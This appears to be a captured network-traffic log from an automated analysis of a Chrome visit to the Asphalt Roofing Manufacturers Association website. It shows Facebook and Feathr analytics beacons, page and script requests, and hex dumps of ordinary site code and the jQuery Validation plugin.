2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 61 62 6f 75 74 2d 61 72 6d 61 2f 6a 6f 69 6e 2f 22 3e 3c 73 70 61 6e 3e 4a 6f 69 6e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 38 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 38 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 Data Ascii: menu-item-object-page menu-item-384"><a href="https://www.asphaltroofing.org/about-arma/join/"><span>Join</span></a></li><li id="menu-item-398" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-398"><a href="https://www.asphaltr
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 34 30 32 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 34 30 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 61 62 6f 75 74 2d 61 72 6d 61 2f 6e 65 77 73 2d 70 72 65 73 73 2f 22 3e 4e 65 77 73 20 26 23 30 33 38 3b 20 50 72 65 73 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 31 36 30 32 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 Data Ascii: ></li><li id="menu-item-402" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-402"><a href="https://www.asphaltroofing.org/about-arma/news-press/">News & Press</a></li><li id="menu-item-1602" class="menu-item menu-item-type
2024-04-23 14:54:13 UTC	8192	IN	Data Raw: 4f 41 44 49 4e 47 20 54 59 50 45 53 20 57 49 54 48 20 54 59 50 45 20 41 4e 44 20 46 55 4e 43 54 49 4f 4e 09 09 09 09 0d 0a 09 09 09 09 69 66 20 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 09 09 09 09 09 0d 0a 09 09 09 09 09 69 66 28 74 79 70 65 6f 66 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 0d 0a 09 09 09 09 09 09 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 2e 61 6a 61 78 54 79 70 65 73 2e 70 75 73 68 28 7b 74 79 70 65 3a 20 27 72 65 76 73 6c 69 64 65 72 27 2c 20 66 75 6e 63 3a 20 61 6a 61 78 52 65 76 73 6c 69 64 65 72 2c 20 6b 69 6c Data Ascii: OADING TYPES WITH TYPE AND FUNCTIONif (jQuery.fn.tpessential !== undefined) if(typeof(jQuery.fn.tpessential.defaults) !== 'undefined') jQuery.fn.tpessential.defaults.ajaxTypes.push({type: 'revslider', func: ajaxRevslider, kil
2024-04-23 14:54:13 UTC	443	IN	Data Raw: 2e 5f 74 72 66 71 20 3d 20 5b 5d 29 3b 27 75 6e 64 65 66 69 6e 65 64 27 3d 3d 3d 20 74 79 70 65 6f 66 20 5f 74 72 66 64 20 26 26 20 28 77 69 6e 64 6f 77 2e 5f 74 72 66 64 3d 5b 5d 29 2c 5f 74 72 66 64 2e 70 75 73 68 28 7b 27 74 63 63 6c 2e 62 61 73 65 48 6f 73 74 27 3a 27 73 65 63 75 72 65 73 65 72 76 65 72 2e 6e 65 74 27 7d 2c 7b 27 61 70 27 3a 27 63 70 62 68 2d 6d 74 27 7d 2c 7b 27 73 65 72 76 65 72 27 3a 27 70 33 70 6c 6d 63 70 6e 6c 34 39 35 32 38 32 27 7d 2c 7b 27 64 63 65 6e 74 65 72 27 3a 27 70 33 27 7d 2c 7b 27 63 70 5f 69 64 27 3a 27 37 34 33 32 32 36 30 27 7d 2c 7b 27 63 70 5f 63 61 63 68 65 27 3a 27 27 7d 2c 7b 27 63 70 5f 63 6c 27 3a 27 38 27 7d 29 20 2f 2f 20 4d 6f 6e 69 74 6f 72 69 6e 67 20 70 65 72 66 6f 72 6d 61 6e 63 65 20 74 6f 20 6d 61 Data Ascii: ._trfq = []);'undefined'=== typeof _trfd && (window._trfd=[]),_trfd.push({'tccl.baseHost':'secureserver.net'},{'ap':'cpbh-mt'},{'server':'p3plmcpnl495282'},{'dcenter':'p3'},{'cp_id':'7432260'},{'cp_cache':''},{'cp_cl':'8'}) // Monitoring performance to ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.6	49994	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	968	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:12 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=117, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:12 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.6	49995	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	1005	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:12 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:12 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:12 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.6	49996	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:11 UTC	683	OUT	GET /v1/analytics/crumb?cb=1713884049993&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:12 UTC	1056	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:12 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:12 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3y8maoUDcVTXlMevSjjHxWdBlVWwDoqnF4jwkejZl9xHoSlzmlO1qYszQl1kEqDZxvequ1k9lC%2BDCfKTwmDJSkwBGA0mdsEWhrqhe150S3Mp52VMKFFgFgtOBCHaNT60"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaffe3c5d6a7b-ATL
2024-04-23 14:54:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.6	49992	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:13 UTC	972	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/contact-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
2024-04-23 14:54:13 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:13 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.6	49998	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:13 UTC	973	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/contact-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
2024-04-23 14:54:13 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:13 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.6	49999	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:13 UTC	955	OUT	GET /wp-content/themes/u-design/inc/frontend/jquery-validate/jquery.validate.min.js?ver=1.11.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/contact-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0
2024-04-23 14:54:14 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:13 GMT Content-Type: text/javascript Content-Length: 23261 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026f3-5add-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:14 UTC	7645	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 56 61 6c 69 64 61 74 69 6f 6e 20 50 6c 75 67 69 6e 20 2d 20 76 31 2e 31 37 2e 30 20 2d 20 37 2f 32 39 2f 32 30 31 37 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 76 61 6c 69 64 61 74 69 6f 6e 2e 6f 72 67 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 4a c3 b6 72 6e 20 5a 61 65 66 66 65 72 65 72 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 Data Ascii: /! jQuery Validation Plugin - v1.17.0 - 7/29/2017 https://jqueryvalidation.org/ * Copyright (c) 2017 Jrn Zaefferer; Licensed MIT */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?modu
2024-04-23 14:54:14 UTC	8192	IN	Data Raw: 29 7b 76 61 72 20 63 3d 74 68 69 73 3b 61 2e 65 78 74 65 6e 64 28 74 68 69 73 2e 65 72 72 6f 72 4d 61 70 2c 62 29 2c 74 68 69 73 2e 65 72 72 6f 72 4c 69 73 74 3d 61 2e 6d 61 70 28 74 68 69 73 2e 65 72 72 6f 72 4d 61 70 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 7b 6d 65 73 73 61 67 65 3a 61 2c 65 6c 65 6d 65 6e 74 3a 63 2e 66 69 6e 64 42 79 4e 61 6d 65 28 62 29 5b 30 5d 7d 7d 29 2c 74 68 69 73 2e 73 75 63 63 65 73 73 4c 69 73 74 3d 61 2e 67 72 65 70 28 74 68 69 73 2e 73 75 63 63 65 73 73 4c 69 73 74 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 61 2e 6e 61 6d 65 20 69 6e 20 62 29 7d 29 7d 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 68 6f 77 45 72 72 6f 72 73 3f 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 68 6f 77 45 Data Ascii: ){var c=this;a.extend(this.errorMap,b),this.errorList=a.map(this.errorMap,function(a,b){return{message:a,element:c.findByName(b)[0]}}),this.successList=a.grep(this.successList,function(a){return!(a.name in b)})}this.settings.showErrors?this.settings.showE
2024-04-23 14:54:14 UTC	7424	IN	Data Raw: 69 73 2e 65 6c 65 6d 65 6e 74 56 61 6c 75 65 28 62 29 3b 72 65 74 75 72 6e 21 61 2e 76 61 6c 69 64 61 74 6f 72 2e 6d 65 74 68 6f 64 73 2e 72 65 71 75 69 72 65 64 2e 63 61 6c 6c 28 74 68 69 73 2c 63 2c 62 29 26 26 22 64 65 70 65 6e 64 65 6e 63 79 2d 6d 69 73 6d 61 74 63 68 22 7d 2c 73 74 61 72 74 52 65 71 75 65 73 74 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 62 2e 6e 61 6d 65 5d 7c 7c 28 74 68 69 73 2e 70 65 6e 64 69 6e 67 52 65 71 75 65 73 74 2b 2b 2c 61 28 62 29 2e 61 64 64 43 6c 61 73 73 28 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 70 65 6e 64 69 6e 67 43 6c 61 73 73 29 2c 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 62 2e 6e 61 6d 65 5d 3d 21 30 29 7d 2c 73 74 6f 70 52 65 71 75 65 73 74 3a 66 75 6e 63 74 69 6f 6e 28 62 2c Data Ascii: is.elementValue(b);return!a.validator.methods.required.call(this,c,b)&&"dependency-mismatch"},startRequest:function(b){this.pending[b.name]\|\|(this.pendingRequest++,a(b).addClass(this.settings.pendingClass),this.pending[b.name]=!0)},stopRequest:function(b,

